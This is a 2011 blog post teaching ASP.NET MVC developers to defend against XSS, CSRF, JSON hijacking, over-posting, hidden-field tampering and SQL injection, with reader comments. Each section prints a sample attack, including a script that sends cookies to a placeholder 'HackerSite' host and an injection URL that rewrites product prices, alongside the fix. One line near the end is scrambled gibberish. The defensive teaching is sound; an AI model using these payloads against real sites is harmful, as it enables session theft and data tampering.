Hendry Luk — Sheep in Fence

August 8, 2011

Web Development Security Patterns

Filed under: Software Development — Hendry Luk @ 3:44 am
Tags: , ,

As a good web developer, and a responsible one, there are certain patterns we must all follow to avoid exposing our application to common security and usability problems and the general shooting yourself in the foot. I’m documenting some of these basic dos and don’ts into this post. And while the examples given are specific to ASP.NET MVC, almost all of the guidelines (risks, vulnerability, and solutions) are applicable to web development in general.

The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don’t feel obliged to rush and practice it against your local council’s websites, but even if you do, here I am disclaiming my involvement in any unlawful conducts ;)

1. Encode your texts

Risk:

XSS vulnerability

How:

Your dear hacker would visit your website, and post this comment on your wall or guestbook.

This is a dodgy message. <script>
   document.write(
      '<img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/>');
</script>

If your website does not encode this text, the script will appear on your homepage, and steal all your users’ cookies, send all those data secretly to the the bad guy, and move out of the scene quietly.

Solution:

Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use

<%:Model.Message%>

.. instead of:

<%=Model.Message%>

Since razor, it will always encode your text.

@Model.Message

.. so you’ll rarely need to worry about any of these any more, except when you’re writing Html helpers: do remember HTML encoding.

2. Deny GET access to non-idempotent actions

When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:

<a href="/AddToCart?ProductId=4423">Add to Cart</a>

Risk:

Cross-Site-Request-Forgery (XSRF) vulnerability.

How:

To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:

<img src="http://yourwebsite/AddToCart?product=4423"/>

He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.

When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.

And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.

Solution:

By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop <img> or <script> tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.

[HttpPost]
public ActionResult AddToCart(Product product)
{
}

And change your “Add to Cart” hyperlink to a POST form submit button:

<form method="POST" action="/AddToCart">
   <hidden name="product" value="4423" />
   <input type="submit" value="Add to Cart" />
</form>

I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.

I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.

3. Always validate anti-forgery token on every POST

Risk:

Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.

How:

To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.

<form id="evilForm" method="POST" action="http://yourwebsite/Purchase">
   <input type="Hidden" name="ProductCode" value="BabyPanda" />
   <input type="Hidden" name="Quantity" value="1000000" />
   <input type="Submit value="Free Coke is Here!"/>
</form>

Who could resist a button that says “Free Coke”? What’s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!

So we’ll be safe as long as we don’t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:

<script type="text/javascript">
   $("form").submit();
</script>

So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.

Solution:

Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}

Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called “__RequestVerificationToken_Lw__”. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.

The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a “__RequestVerificationToken” hidden input that will hold the security token.

@using(Html.BeginForm("Purchase"))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}

Since your hacker does not have access to your cookie (unless if you’re exploited by an XSS attack), he won’t be able to work out the token of the current user, and is therefore unable to make a POST that’s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.

So why do we need our previous rule#2: “avoid GET”? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?
Oh no, do NOT use anti-forgery-token with GET (i.e. via querystring, as I frequently see), because it’s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users’ querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.

Even if you have no bogus links on yourwebsite (e.g. you don’t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a JS+CSS trick), and if he gets lucky, that would be the end of your oh-so-important token.
So there, keep rule#2 and use POST!

4. Protect your JSON data

We’ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?

Risk:

JSON Hijacking

How:

AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.

A hacker can still make a cross-domain access to your GET services using <img> or <script> tag. E.g.:

<img src="http://yourwebsite/InboxMessages" />

… but that’s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can’t possibly do any harm on the server. As for the JSON data itself, a hacker can’t read anything using <img> or <script> (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we’re all safe.

Unfortunately, using a clever trick, a hacker can actually read your JSON data. It’s achieved by rewriting the Array definition in Javascript.

<script type="text/javascript">
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
</script>

<script src="http://yourwebsite/InboxMessages" />

First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it’s fairly straightforward. He just simply hits your InboxMessage service using a <script> tag, and every Array that’s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.

GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails & contacts) were stolen using this very technique, before Google eventually fixed the hole.

Solution:

There are two options you can pick to protect against JSON hijacking.

  1. Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).
  2. In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you’re not using MVCFutures library).
    [HttpGet]
    [AjaxOnly]
    public ActionResult InboxMessages()
    {
    }
    

    Now your actions only accept AJAX requests. And since you can’t make a cross-site AJAX request, your actions are now safe from cross-site attacks.

5. Securing AJAX POSTs Against Forgery

We know from point#3 above that we should always validate our form submission against anti-forgery token. That’s fine. But what about AJAX calls, such as the following:

$.post("http://yourwebsite/ReplyMessage",
   { repliedMsgId: 123, replyMsg: "Roger that!"});

How do you secure this AJAX call?

Risk:

XSRF attack (look point#3)

How:

(Look point#3)

Solution:

Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user’s cookie) into the payload. But it’s not really necessary. There’s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).

[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}

Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.

In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you’ll need to change your Ajax call to also include this token as part of the payload).

6. POST-Redirect-GET (PRG)

It’s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).

Risk:

Accidental double POSTs

How:

When you return a page from a POST request (without redirection):

  1. Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).
  2. It may break browser bookmark feature. E.g. if your “Reply Message” returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.

Solution:

As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).

If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.

So if you combine this with rule#2, you’ll get this rule:

  • GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka “queries”)
  • POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka “commands”). It also means that if no server-side effect was made (e.g. failures), it may return contents.

Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:

  1. It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.
    Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.
  2. Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.

7. Always use controller-specific ViewModel for ModelBinding

public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}

A customer can’t change his own credit-rating from his profile page, which is, by the way, the following:

@using(Html.BeginForm("EditMyProfile")
{
   <div>
      @Html.LabelFor(x=> x.FirstName)
      @Html.EditorFor(x=> x.FirstName)
   </div>
   <div>
      @Html.LabelFor(x=> x.LastName)
      @Html.EditorFor(x=> x.LastName)
   </div>

   <input type="Submit" value="Save" />
}

And here’s the controller action that handles the form.

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}

.. or if you have full-fledged model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}

Risk:

Over-Posting Attack

How:

Over-posting vulnerabilities are often very easy to miss. particularly among ASP.NET MVC developers. To launch over-posting attacks, your attacker would just use Firebug or WebDeveloper to edit the HTML form and add the following textbox:

<input name="CreditRating" value="100" />

Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:

<input name="Region.Administrator.Password" value="hackedPassword" />
<input name="ShoppingCart.Items[0].Price" value="0.01" />

Starting from a Customer object, he can jump through other objects and change your region’s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!

Solution:

Do NOT use ASP.Net MVC’s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you’re allowing your users to input on that particular page.

[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}

Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.

public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}

And the controller actions:

[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel<Customer.IMyProfileUpdatable>(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel<Customer.IAdminUpdatable>(customer); // Bind against the interface

   // Save the customer
}

.. or if proper model-binding infrastructure in place:

[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}

By limiting your ModelBinding to a specific interface, you’re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).

8. Don’t trust hidden-fields

This is a reminder why this is a bad (Razor) view:

@model Sheep.UserProfile
@using(Html.BeginForm("UpdateMyProfile"))
{
   @Html.Hidden(x=> x.User.Id);
   @Html.EditorFor(x=> x.User.FirstName);
   @Html.EditorFor(x=> x.User.LastName);
}

We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.

Risk:

Prone to user manipulation

How:

By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform “update my profile” on behalf of ANY user he wishes. Your “update my profile” page is more like an “update ANY profile” page really.

Solution:

Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you’ll be surprised how often I’ve seen this mistake.

9. HTTPS

I can’t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.

Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.

HTTP is very bad, worse than you might think. It’s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like ‘stealing’ your password, although I’m not sure you can even call it “stealing” since it’s YOU who literally broadcasts your password right to their front door.

So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don’t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.

10. SQL Injection

Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We’ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.

However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today’s world. Consider this URL on your product search page:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription

And here’s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

That was a common example of a SQL-Injection hole.

Risk:

SQL Injection attack

How:

Our hacker can make the following request on his browser:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01

When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.

I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate’s HQL, you’re not immune against HQL Injections.

Solution:

Make sure you validate your input.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it’s not always possible.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>()
         .Where(x=> Price >= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression<Func<T, object>> ToMemberExpression<T>(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), "x");
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda<Func<T, object>>((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}

oaae~ ve{| ozzohmk| og ette|z{gfzvze tet{aozk iejka t|etk|zfkx ve{ jfjg‖z kskg t{z eg ve{| fgt{z ce|ix’

About these ads

4 Comments »

  1. some other resources for security and ASP.NET in particular:

    https://www.owasp.org/index.php/Category:OWASP_.NET_Project

    http://www.troyhunt.com/2010/05/owasp-top-10-for-net-developers-part-1.html#

    Comment by ben — August 10, 2011 @ 4:39 am | Reply

  2. There is a service layer in layered architecture.
    since you used View Model for model binding, What do you passed in the service method, View Model or the domain model ?

    RegistrationService {
    Register (RegistrationVM rm)
    }

    or
    RegistrationService {
    Register (User rm)
    }

    or anything else ?

    Comment by Jhon Doe — August 13, 2011 @ 2:31 pm | Reply

  3. Very good list man. I was thinking of compiling a list myself within the context of Razor, but would start pointing to your post instead!

    Comment by Ronald Widha — August 21, 2011 @ 12:46 pm | Reply

  4. This is a great post and would be very useful for our future .NET web development. Thank you, Hendry ! :D

    Comment by Wendy Sanarwanto — December 13, 2011 @ 9:08 am | Reply


RSS feed for comments on this post. TrackBack URI

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

The Rubric Theme. Blog at WordPress.com.

Follow

Get every new post delivered to your Inbox.

%d bloggers like this: